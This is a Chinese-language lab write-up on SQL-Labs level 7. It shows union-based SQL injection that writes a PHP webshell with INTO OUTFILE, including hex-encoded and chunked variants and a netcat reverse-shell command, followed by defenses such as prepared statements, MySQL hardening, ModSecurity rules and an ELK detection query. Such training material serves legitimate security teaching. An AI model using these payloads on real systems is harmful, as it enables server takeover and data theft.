1. SQL注入实战:从SQL-Labs第7关看文件上传与系统命令执行
十年前我第一次接触SQL注入时,SQL-Labs靶场就像个神秘的训练场。特别是第7关,它把简单的数据库查询漏洞升级成了服务器控制权争夺战。这个关卡设计精妙之处在于,它模拟了真实环境中开发人员如何错误处理文件上传功能,以及如何通过SQL注入这个"钥匙孔"最终拿到整个"房子"的控制权。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 关卡环境与漏洞原理拆解
2.1 靶场环境配置分析
SQL-Labs第7关的典型环境包含:
- 前端:文件上传表单(通常伪装成头像修改界面)
- 后端:PHP+MySQL架构,使用mysql_query等传统函数
- 特殊配置:secure_file_priv参数被故意设为空值
- 数据库用户:通常具备FILE权限的root账户
关键漏洞链:
code复制文件上传校验缺失 → 恶意SQL注入 → INTO OUTFILE写shell → 系统命令执行
2.2 核心漏洞原理
当后端使用拼接方式处理SQL查询时:
php复制$sql = "SELECT * FROM users WHERE id='" . $_GET['id'] . "'";
攻击者通过构造特殊payload,将查询结果导出到web目录:
sql复制1' UNION SELECT 1,"<?php system($_GET['cmd']);?>",3 INTO OUTFILE '/var/www/html/shell.php'-- -
这个过程中有三个致命错误:
- 未过滤单引号导致注入
- 数据库账户权限过高
- Web目录可写权限配置不当
3. 完整渗透测试流程实录
3.1 信息收集阶段
首先确认注入点类型:
http复制http://target/less-7/?id=1'-- -
http://target/less-7/?id=1' and 1=1-- -
http://target/less-7/?id=1' and 1=2-- -
通过响应差异判断为基于错误的字符型注入。使用Burp Suite的Intruder模块快速验证:
code复制Payloads: ', ", ',), ",), etc.
3.2 利用漏洞写入WebShell
关键步骤分解:
- 确定绝对路径(通过报错信息或phpinfo)
- 检查写入权限:
sql复制1' AND (SELECT count(*) FROM mysql.user)>0-- -
- 构造多语句Payload:
sql复制1' UNION SELECT null,@@datadir,null-- -
1' UNION SELECT 1,2,3 INTO OUTFILE '/tmp/test.txt'-- -
- 写入PHP后门:
sql复制1' UNION SELECT 1,"<?php system($_GET['cmd']);?>",3 INTO OUTFILE '/var/www/html/images/shell.php'-- -
3.3 权限提升与系统控制
成功写入shell后:
bash复制# 查看系统信息
http://target/images/shell.php?cmd=uname -a
# 反弹shell
http://target/images/shell.php?cmd=nc -e /bin/sh 192.168.1.100 4444
4. 防御方案深度解析
4.1 代码层防护
php复制// 预处理语句示例
$stmt = $pdo->prepare("SELECT * FROM users WHERE id=?");
$stmt->execute([$_GET['id']]);
// 文件上传校验
$allowed = ['image/jpeg','image/png'];
if(!in_array($_FILES['avatar']['type'], $allowed)){
die('Invalid file type');
}
4.2 系统层加固
MySQL配置建议:
ini复制[mysqld]
secure_file_priv = /NULL
local_infile = OFF
Linux权限设置:
bash复制chown -R root:www-data /var/www/html
chmod -R 750 /var/www/html
find /var/www/html -type d -exec chmod 550 {} \;
5. 企业级防护实践
5.1 WAF规则配置示例(ModSecurity)
code复制SecRule ARGS "@validateSqlEncoding" \
"id:1007,phase:2,deny,msg:'SQL Injection Attack'"
SecRule FILES_TMPNAMES "@rx \.(php|pl|py)$" \
"id:1008,phase:2,deny,msg:'WebShell Upload Attempt'"
5.2 安全监控策略
ELK Stack检测规则示例:
json复制{
"query": {
"bool": {
"must": [
{ "match": { "message": "into outfile" } },
{ "match": { "path": "/var/log/mysql.log" } }
]
}
}
}
6. 实战中的疑难问题解决
6.1 常见错误排查表
| 现象 | 原因 | 解决方案 |
|---|---|---|
| 写入失败但无报错 | 目录权限不足 | 尝试/tmp目录或使用日志文件泄露路径 |
| 文件内容被截断 | magic_quotes启用 | 使用hex编码绕过:SELECT 0x3C3F... |
| 返回空白页面 | PHP短标签被禁用 | 使用完整标签 |
6.2 高级绕过技巧
十六进制编码示例:
sql复制SELECT 0x3C3F7068702073797374656D28245F4745545B27636D64275D293B203F3E
INTO OUTFILE '/var/www/shell.php'
分块写入技术:
sql复制1' UNION SELECT 1,"<?php ",3 INTO OUTFILE '/var/www/part1.txt'-- -
1' UNION SELECT 1,"system($_",3 INTO OUTFILE '/var/www/part2.txt'-- -
1' UNION SELECT 1,"GET['cmd']);?>",3 INTO OUTFILE '/var/www/part3.txt'-- -
7. 从靶场到实战的思维转变
真实环境中还需要考虑:
- 绕过WAF的混淆技术(如注释符/**/分割)
- 使用DNS外带数据泄露信息
- 通过MySQL日志文件写入shell
- 利用慢查询日志实现持久化
某个真实案例中,攻击者通过注入点先写入一个图片马,再结合文件包含漏洞获取shell,这种组合拳在防御体系不完善的中小企业网站中仍然有效。
